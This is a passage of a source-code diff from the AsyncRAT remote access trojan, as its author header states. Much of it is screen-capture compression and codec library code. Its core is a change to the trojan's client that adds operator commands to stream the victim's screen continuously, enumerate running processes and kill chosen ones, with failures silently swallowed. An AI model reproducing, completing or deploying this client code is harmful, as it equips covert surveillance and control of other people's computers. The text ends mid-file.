best_k = k;
}
}
}
o = offset2;
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
c++;
hash_counter[hash] = c;
if (matchlen >= 3 && src - o < 131071)
{
int offset = src - o;
for (int u = 1; u < matchlen; u++)
{
fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
c = hash_counter[hash]++;
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
}
src += matchlen;
cword_val = ((cword_val >> 1) | 0x80000000);
if (matchlen == 3 && offset <= 63)
{
fast_write(destination, dst, offset << 2, 1);
dst++;
}
else if (matchlen == 3 && offset <= 16383)
{
fast_write(destination, dst, (offset << 2) | 1, 2);
dst += 2;
}
else if (matchlen <= 18 && offset <= 1023)
{
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
dst += 2;
}
else if (matchlen <= 33)
{
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
dst += 3;
}
else
{
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
dst += 4;
}
lits = 0;
}
else
{
destination[dst] = source[src];
cword_val = (cword_val >> 1);
src++;
dst++;
}
}
}
while (src <= Length - 1)
{
if ((cword_val & 1) == 1)
{
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
cword_ptr = dst;
dst += CWORD_LEN;
cword_val = 0x80000000;
}
destination[dst] = source[src];
src++;
dst++;
cword_val = (cword_val >> 1);
}
while ((cword_val & 1) != 1)
{
cword_val = (cword_val >> 1);
}
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
write_header(destination, level, true, Length, dst);
d2 = new byte[dst];
System.Array.Copy(destination, d2, dst);
return d2;
}
private void fast_write(byte[] a, int i, int value, int numbytes)
{
for (int j = 0; j < numbytes; j++)
a[i + j] = (byte)(value >> (j * 8));
}
public byte[] decompress(byte[] source, int Offset, int Length)
{
int level;
int size = sizeDecompressed(source, Offset);
int src = headerLen(source, Offset) + Offset;
int dst = 0;
uint cword_val = 1;
byte[] destination = new byte[size];
int[] hashtable = new int[4096];
byte[] hash_counter = new byte[4096];
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
int last_hashed = -1;
int hash;
uint fetch = 0;
level = (source[Offset] >> 2) & 0x3;
if (level != 1 && level != 3)
throw new ArgumentException("C# version only supports level 1 and 3");
if ((source[Offset] & 1) != 1)
{
byte[] d2 = new byte[size];
System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
return d2;
}
for (; ; )
{
if (cword_val == 1)
{
cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
src += 4;
if (dst <= last_matchstart)
{
if (level == 1)
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
else
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
}
}
if ((cword_val & 1) == 1)
{
uint matchlen;
uint offset2;
cword_val = cword_val >> 1;
if (level == 1)
{
hash = ((int)fetch >> 4) & 0xfff;
offset2 = (uint)hashtable[hash];
if ((fetch & 0xf) != 0)
{
matchlen = (fetch & 0xf) + 2;
src += 2;
}
else
{
matchlen = source[src + 2];
src += 3;
}
}
else
{
uint offset;
if ((fetch & 3) == 0)
{
offset = (fetch & 0xff) >> 2;
matchlen = 3;
src++;
}
else if ((fetch & 2) == 0)
{
offset = (fetch & 0xffff) >> 2;
matchlen = 3;
src += 2;
}
else if ((fetch & 1) == 0)
{
offset = (fetch & 0xffff) >> 6;
matchlen = ((fetch >> 2) & 15) + 3;
src += 2;
}
else if ((fetch & 127) != 3)
{
offset = (fetch >> 7) & 0x1ffff;
matchlen = ((fetch >> 2) & 0x1f) + 2;
src += 3;
}
else
{
offset = (fetch >> 15);
matchlen = ((fetch >> 7) & 255) + 3;
src += 4;
}
offset2 = (uint)(dst - offset);
}
destination[dst + 0] = destination[offset2 + 0];
destination[dst + 1] = destination[offset2 + 1];
destination[dst + 2] = destination[offset2 + 2];
for (int i = 3; i < matchlen; i += 1)
{
destination[dst + i] = destination[offset2 + i];
}
dst += (int)matchlen;
if (level == 1)
{
fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
while (last_hashed < dst - matchlen)
{
last_hashed++;
hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
hashtable[hash] = last_hashed;
hash_counter[hash] = 1;
fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
}
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
}
else
{
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
}
last_hashed = dst - 1;
}
else
{
if (dst <= last_matchstart)
{
destination[dst] = source[src];
dst += 1;
src += 1;
cword_val = cword_val >> 1;
if (level == 1)
{
while (last_hashed < dst - 3)
{
last_hashed++;
int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
hashtable[hash] = last_hashed;
hash_counter[hash] = 1;
}
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
}
else
{
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
}
}
else
{
while (dst <= size - 1)
{
if (cword_val == 1)
{
src += CWORD_LEN;
cword_val = 0x80000000;
}
destination[dst] = source[src];
dst++;
src++;
cword_val = cword_val >> 1;
}
return destination;
}
}
}
}
}
}

View File

@ -0,0 +1,177 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using System.Text;
namespace StreamLibrary.src
{
public unsafe class SimpleBitmap
{
private object ProcessingLock = new object();
public SimpleBitmapInfo Info { get; internal set; }
public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
public IntPtr Scan0 { get; internal set; }
public int Scan0_int { get; internal set; }
public BitmapData bitmapData { get; internal set; }
public Bitmap bitMap { get; set; }
public class SimpleBitmapInfo
{
public SimpleBitmapInfo()
{
Clear();
}
public SimpleBitmapInfo(BitmapData data)
{
Load(data);
}
public int Stride { get; protected set; }
public int PixelSize { get; protected set; }
public int Width { get; protected set; }
public int Height { get; protected set; }
public int TotalSize { get; protected set; }
internal void Clear()
{
Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
}
internal void Load(BitmapData data)
{
Width = data.Width; Height = data.Height; Stride = data.Stride;
PixelSize = Math.Abs(data.Stride) / data.Width;
TotalSize = data.Width * data.Height * PixelSize;
}
}
public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
{
int calc = 0;
int WidthSize = block.Width * sharedInfo.PixelSize;
calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
for (int i = 0; i < block.Height; i++)
{
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
return false;
calc += sharedInfo.Stride;
}
return true;
}
public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
{
int calc = 0;
int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
calc = y * sharedInfo.Stride;
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
return false;
return true;
}
public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
{
if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
return false;
return true;
}
public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
{
int calc = 0;
int WidthSize = block.Width * Info.PixelSize;
int CopyOffset = 0;
int scan0 = Scan0.ToInt32();
int destSize = WidthSize * block.Height;
if (dest == null || dest.Length != destSize)
dest = new byte[destSize];
calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
fixed (byte* ptr = dest)
{
for (int i = 0; i < block.Height; i++)
{
NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
calc += Info.Stride;
CopyOffset += WidthSize;
}
}
}
public SimpleBitmap()
{
Scan0 = IntPtr.Zero;
bitmapData = null;
bitMap = null;
Info = new SimpleBitmapInfo();
}
public SimpleBitmap(Bitmap bmp)
{
this.bitMap = bmp;
}
public void Lock()
{
if (Locked)
throw new Exception("Already locked");
lock (ProcessingLock)
{
bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
Info = new SimpleBitmapInfo(bitmapData);
Scan0 = bitmapData.Scan0;
Scan0_int = Scan0.ToInt32();
}
}
public void Unlock()
{
if (!Locked)
throw new Exception("Nothing to unlock");
lock (ProcessingLock)
{
Scan0 = IntPtr.Zero;
Scan0_int = 0;
Info.Clear();
bitMap.UnlockBits(bitmapData);
bitmapData = null;
}
}
public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
{
int CopySize = Info.PixelSize * loc.Width;
int OffsetX = loc.X * Info.PixelSize;
int TotalCopied = 0;
fixed (byte* ptr = block)
{
for (int i = 0; i < loc.Height; i++)
{
NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
TotalCopied += CopySize;
}
}
}
public void Dispose(bool disposeBitmap = false)
{
if (Locked)
Unlock();
if (disposeBitmap)
bitMap.Dispose();
bitMap = null;
}
}
}

View File

@ -23,6 +23,7 @@
<WarningLevel>4</WarningLevel>
<DocumentationFile>
</DocumentationFile>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>x86</PlatformTarget>
@ -40,6 +41,8 @@
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
@ -50,6 +53,37 @@
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="StreamLibrary\Codecs\DirectDriverCodec.cs" />
<Compile Include="StreamLibrary\Codecs\MJPGCodec.cs" />
<Compile Include="StreamLibrary\Codecs\QuickCachedStreamCodec.cs" />
<Compile Include="StreamLibrary\Codecs\QuickStreamCodec.cs" />
<Compile Include="StreamLibrary\Codecs\SmallCachedStreamCodec.cs" />
<Compile Include="StreamLibrary\Codecs\SmallStreamCodec.cs" />
<Compile Include="StreamLibrary\Encoders\GridCoder\GridBlock.cs" />
<Compile Include="StreamLibrary\Encoders\GridCoder\GridEncoder.cs" />
<Compile Include="StreamLibrary\Enums.cs" />
<Compile Include="StreamLibrary\IEncoder.cs" />
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
<Compile Include="StreamLibrary\IVideoCodec.cs" />
<Compile Include="StreamLibrary\src\CRC32.cs" />
<Compile Include="StreamLibrary\src\ExtensionAttribute.cs" />
<Compile Include="StreamLibrary\src\Extentions.cs" />
<Compile Include="StreamLibrary\src\FastBitmap.cs" />
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
<Compile Include="StreamLibrary\src\MurmurHash2Unsafe.cs" />
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
<Compile Include="StreamLibrary\src\PayloadWriter.cs" />
<Compile Include="StreamLibrary\src\PointerHelper.cs" />
<Compile Include="StreamLibrary\src\SafeQuickLZ.cs" />
<Compile Include="StreamLibrary\src\SimpleBitmap.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCacheCodec.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCachedStreamCodec.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeMiniCodec.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeQuickStream.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
</ItemGroup>
<ItemGroup />
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -11,7 +11,12 @@ using System.Windows.Forms;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using StreamLibrary;
using StreamLibrary.UnsafeCodecs;
using System.Drawing;
using System.Drawing.Imaging;
using System.Management;
using System.Linq;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket
@ -157,6 +162,7 @@ namespace Client
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
@ -270,6 +276,45 @@ namespace Client
Uninstall();
}
break;
case "remoteDesktop":
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "false":
{
RemoteDesktop_Status = false;
}
break;
case "true":
{
RemoteDesktop_Status = true;
RemoteDesktop();
}
break;
}
}
break;
case "processManager":
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "List":
{
ProcessManager();
}
break;
case "Kill":
{
ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
}
break;
}
}
break;
}
}
catch { }
@ -282,6 +327,105 @@ namespace Client
BeginSend(msgpack.Encode2Bytes());
}
private static void ProcessKill(int ID)
{
foreach (var process in Process.GetProcesses())
{
try
{
if (process.Id == ID)
{
process.Kill();
}
}
catch { };
}
ProcessManager();
}
private static void ProcessManager()
{
StringBuilder sb = new StringBuilder();
var query = "SELECT ProcessId, Name, ExecutablePath FROM Win32_Process";
using (var searcher = new ManagementObjectSearcher(query))
using (var results = searcher.Get())
{
var processes = results.Cast<ManagementObject>().Select(x => new
{
ProcessId = (UInt32)x["ProcessId"],
Name = (string)x["Name"],
ExecutablePath = (string)x["ExecutablePath"]
});
foreach (var p in processes)
{
if (File.Exists(p.ExecutablePath))
{
string name = p.ExecutablePath;
string key = p.ProcessId.ToString();
Icon icon = Icon.ExtractAssociatedIcon(p.ExecutablePath);
Bitmap bmpIcon = icon.ToBitmap();
using (MemoryStream ms = new MemoryStream())
{
bmpIcon.Save(ms, ImageFormat.Png);
sb.Append(name + "-=>" + key + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>");
}
}
}
}
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Message").AsString = sb.ToString();
BeginSend(msgpack.Encode2Bytes());
}
private static bool RemoteDesktop_Status { get; set; }
private static void RemoteDesktop()
{
try
{
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);
while (RemoteDesktop_Status == true)
{
Thread.Sleep(1);
if (!Client.Connected) break;
Bitmap bmp = CaptureScreen();
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
Size size = new Size(bmp.Width, bmp.Height);
BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
using (MemoryStream stream = new MemoryStream(1000000))
{
unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
if (stream.Length > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
BeginSend(msgpack.Encode2Bytes());
}
}
bmp.UnlockBits(bmpData);
bmp.Dispose();
}
}
catch { }
}
private static Bitmap CaptureScreen()
{
Rectangle rect = Screen.AllScreens[0].WorkingArea;
try
{
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
gfxScreenshot.CopyFromScreen(0, 0, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
gfxScreenshot.Dispose();
return bmpScreenshot;
}
catch { return new Bitmap(rect.Width, rect.Height); }
}
private static void Uninstall()
{
ProcessStartInfo Del = null;

View File

@ -0,0 +1,160 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class DirectDriverCodec
{
private Bitmap decodedBitmap;
private byte[] EncodeBuffer;
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private JpgCompression jpgCompression;
public DirectDriverCodec(int Quality)
{
jpgCompression = new JpgCompression(Quality);
}
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
if (EncodeBuffer == null)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
this.EncodeBuffer = new byte[RawLength];
fixed (byte* ptr = EncodeBuffer)
{
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
}
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
for (int i = 0; i < Changes.Length; i++)
{
Rectangle rect = Changes[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
}
public Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
return decodedBitmap;
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,68 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
/// <summary>
/// The M-JPG codec is not very efficient for networking as it is just a very simple codec
/// </summary>
public class MJPGCodec : IVideoCodec
{
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override ulong CachedSize
{
get { return 0; }
internal set { }
}
public override int BufferCount
{
get { return 0; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.None; }
}
public MJPGCodec(int ImageQuality = 100)
: base(ImageQuality)
{
}
public override void CodeImage(Bitmap bitmap, Stream outStream)
{
lock (base.jpgCompression)
{
byte[] data = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
outStream.Write(data, 0, data.Length);
}
}
public override Bitmap DecodeData(Stream inStream)
{
lock (base.jpgCompression)
{
if (!inStream.CanRead)
throw new Exception("Must have access to Read in the Stream");
byte[] temp = new byte[4];
inStream.Read(temp, 0, temp.Length);
int DataLength = BitConverter.ToInt32(temp, 0);
temp = new byte[DataLength];
inStream.Read(temp, 0, temp.Length);
return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
}
}
}
}

View File

@ -0,0 +1,204 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class QuickCachedStreamCodec : IVideoCodec
{
private Bitmap CodeTempBitmap;
private Bitmap DecodeTempBitmap;
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override ulong CachedSize
{
get;
internal set;
}
public int MaxBuffers { get; private set; }
private SortedList<int, byte[]> EncodeCache;
private SortedList<int, byte[]> DecodeCache;
/// <summary>
/// Initialize a new object of QuickStreamCodec
/// </summary>
/// <param name="ImageQuality">The image quality 0-100%</param>
public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
: base(ImageQuality)
{
this.MaxBuffers = MaxBuffers;
this.EncodeCache = new SortedList<int, byte[]>();
this.DecodeCache = new SortedList<int, byte[]>();
}
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
}
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
{
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
if (CodeTempBitmap != null)
{
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
if (CodeTempBitmap == null)
{
byte[] temp = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
CodeTempBitmap = bitmap;
return;
}
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
int Stride = Math.Abs(bmpData.Stride);
List<Rectangle> Blocks = new List<Rectangle>();
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
{
if (onCodeDebugScan != null)
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
{
byte[] temp = new byte[Stride];
fixed(byte* ptr = temp)
{
NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
}
CRC32 hasher = new CRC32();
int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
if (EncodeCache.Count >= MaxBuffers)
EncodeCache.RemoveAt(0);
if (EncodeCache.ContainsKey(hash))
{
outStream.WriteByte(1);
outStream.Write(new byte[4], 0, 4);
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
}
else
{
outStream.WriteByte(0);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
outStream.Write(temp, 0, temp.Length);
EncodeCache.Add(hash, temp);
}
Blocks.Add(ScanBlock);
}
}
for (int i = 0; i < Blocks.Count; i++)
{
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
byte[] temp = base.jpgCompression.Compress(cloned);
cloned.Dispose();
}
bitmap.UnlockBits(bmpData);
CodeTempBitmap.UnlockBits(CodeBmpData);
if (onVideoStreamCoding != null)
onVideoStreamCoding(outStream, Blocks.ToArray());
if (CodeTempBitmap != null)
CodeTempBitmap.Dispose();
this.CodeTempBitmap = bitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
if (!inStream.CanRead)
throw new Exception("Must have access to Read in the Stream");
if (DecodeTempBitmap == null)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return DecodeTempBitmap;
}
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
//int Stride = Math.Abs(BmpData.Stride);
while (inStream.Position < inStream.Length)
{
byte[] temp = new byte[11];
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
break;
bool inCache = temp[0] == 1;
int DataSize = BitConverter.ToInt32(temp, 1);
int Hash = BitConverter.ToInt32(temp, 5);
ushort Y = BitConverter.ToUInt16(temp, 9);
temp = new byte[DataSize];
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
break;
if (inCache)
{
if (DecodeCache.ContainsKey(Hash))
{
temp = DecodeCache[Hash];
}
else
{
}
}
//copy new data to cached bitmap
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
{
g.DrawImage(tmpBmp, new Point(0, Y));
}
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
int Offset = Y * Stride;
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
//tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
}
//DecodeTempBitmap.UnlockBits(BmpData);
return DecodeTempBitmap;
}
}
}

View File

@ -0,0 +1,179 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class QuickStreamCodec : IVideoCodec
{
private Bitmap CodeTempBitmap;
private Bitmap DecodeTempBitmap;
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override ulong CachedSize
{
get;
internal set;
}
/// <summary>
/// Initialize a new object of QuickStreamCodec
/// </summary>
/// <param name="ImageQuality">The image quality 0-100%</param>
public QuickStreamCodec(int ImageQuality = 100)
: base(ImageQuality)
{
}
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
}
public override void CodeImage(Bitmap bitmap, Stream outStream)
{
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
if (CodeTempBitmap != null)
{
